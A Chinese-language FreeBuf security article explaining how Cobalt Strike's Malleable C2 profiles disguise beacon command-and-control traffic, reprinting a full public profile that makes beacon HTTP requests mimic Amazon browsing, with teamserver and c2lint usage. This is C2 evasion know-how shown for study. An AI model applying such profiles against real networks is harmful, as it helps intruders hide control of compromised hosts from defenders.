freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    关于Cobalt Strike的Malleable-C2-Profiles浅析
    flux 2018-12-03 09:00:17 736767

    *本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

    前言

    本文主要浅略地分析Cobalt Strike利用Malleable-C2-Profiles来进行伪装流量,实现通信隐匿的效果。

    cobalt strike简介

    cobalt strike是一款非常优秀的基于java的后渗透测试平台,它使用图形化界面进行操作,相比于Metasploit操作上更为简单高效。同时,它采用C/S架构,服务端为一个,客户端可以为多个,方便团队进行分布式协作。

    cobalt strike监听器

    cobalt strike提供的listener分为Beacon与Foreign两种。区别在与Beacon为内置使用,即目标主机与server端通信的监听;Foreign为与外部结合的listener,通常与Metasploit结合使用,后文使用的主要为Beacon类型的监听器。Beacon主要支持dns、https、http、smp[pipe]等通信协议。

    我们设置好一个server端与目标主机之间监听环境(关于cobalt strike的监听器的设置与具体使用可以Google查询),使用的payload为Windows/beacon_http/reverse_http,开始监听。cobalt strike通过与目标主机建立心跳包的机制来监控目标主机的存活情况,默认为60s,可以通过sleep命令进行修改,当修改为5s一次心跳包的发送,抓包观察具体情况。

    xintiaobao.png抓包可见,目标主机与server端的通信为HTTP协议,由此,当我们对cobalt strike的server端进行隐藏,伪造成一个正常的Web服务器,以此来伪装流量,最终达到通信隐匿的效果。cobalt strike通过提供Malleable-C2-Profiles来实现上述目的。

    Malleable-C2-Profiles浅析

    Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。  

    使用方法:./teamserver [external IP] [password] [/path/to/my.profile]

    对于profile文件可以通过cobalt strike软件包中的c2lint文件进行检查,建议第一次使用的profile文件都检查一遍。  

    检查方法:./c2lint [/path/to/my.profile]

    Malleable-C2-profile.png

    以amazon.profile为例,来做简要分析

    # Amazon browsing traffic profile

    # Author: @harmj0y

    #

    set sleeptime "5000";

    set jitter    "0";

    set maxdns    "255";

    set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

    http-get {

        set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

        client {

            header "Accept" "*/*";

            header "Host" "www.amazon.com";

            metadata {

                base64;

                prepend "session-token=";

                prepend "skin=noskin;";

                append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

                header "Cookie";

            }

        }

        server {

            header "Server" "Server";

            header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";

            header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";

            header "X-Frame-Options" "SAMEORIGIN";

            header "Content-Encoding" "gzip";

            output {

                print;

            }

        }

    }

    http-post {

        set uri "/N4215/adj/amzn.us.sr.aps";

        client {

            header "Accept" "*/*";

            header "Content-Type" "text/xml";

            header "X-Requested-With" "XMLHttpRequest";

            header "Host" "www.amazon.com";

            parameter "sz" "160x600";

            parameter "oe" "oe=ISO-8859-1;";

            id {

                parameter "sn";

            }

            parameter "s" "3717";

            parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

            output {

                base64;

                print;

            }

        }

        server {

            header "Server" "Server";

            header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";

            header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";

            header "X-Frame-Options" "SAMEORIGIN";

            header "x-ua-compatible" "IE=edge";

            output {

                print;

            }

        }

    }

    文件开头的set语句来设置Beacon的默认值,类型分为全局与本地选项,全局选项更改的是全局Beacon的设置,本地选项更改特定的transaction。全局在文件开头声明, 本地选项在具体的transaction中使用。  

    在amazon.profile中sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。

    后文的http-get与http-post都符合以下的通用格式:  

    protocol-transaction {

    set local_option "value";

    client {

    # customize client indicators

    }

    server {

    # customize server indicators

    }

    }

    protocol-transaction即为使用具体使用http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。  

     metadata {

                base64;  

                prepend "session-token=";

                prepend "skin=noskin;";

                append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

                header "Cookie";

            }

    这指定了对metadata进行相应编码,此处为base64编码。Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata。  

    parameter语句为设置对应的字符串存储在对应的URI参数中,print语句是将data作为transaction的内容进行发送。最后通过:

            output {

                print;

            }

    单元进行终止并输出。通过以上具体内容的设置,最终在通信时HTTP流量包得到相应的更改伪造。至于更多profile设置可以参考官方文档 -- https://www.cobaltstrike.com/help-malleable-c2  。

    下图为server端默认配置与加载amazon.profile后实现的通信流量的对比。 

    CS_default.png

    C2-amazon.png

    通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。  

    在cobalt strike中,一次只能使用一个profile文件,当profile文件有变动时,基于当前profile文件的listener都会失效,需要重新部署。在编写自定义的profile文件时,需要注意一些字符与URL之间的冲突,有可能导致配置无法生效。修改后的profile文件建议通过c2lint工具进行测试,通过后再进行部署。

    总结

    cobalt strike作为一款优秀的后渗透工具,通过伪造正常的HTTP流量来进行目标主机的控制,在实际使用中一般偏向于使用HTTPS协议进行通信,更能达到隐藏自身的目的。以上内容算是抛砖引玉了,有感兴趣的同学可以参考以下链接。

    参考链接

    https://www.freebuf.com/sectool/133369.html  

    https://www.cobaltstrike.com/help-malleable-c2   

    https://github.com/rsmudge/Malleable-C2-Profiles  

    https://github.com/xx0hcd/Malleable-C2-Profiles

    *本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

    # Cobalt strike # Malleable-C2-Profiles
    本文为 flux 独立观点,未经授权禁止转载。
    如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    flux LV.2
    这家伙太懒了,还未填写个人描述!
    • 2 文章数
    • 3 关注者
    suricata下的挖矿行为检测
    2019-02-07
    文章目录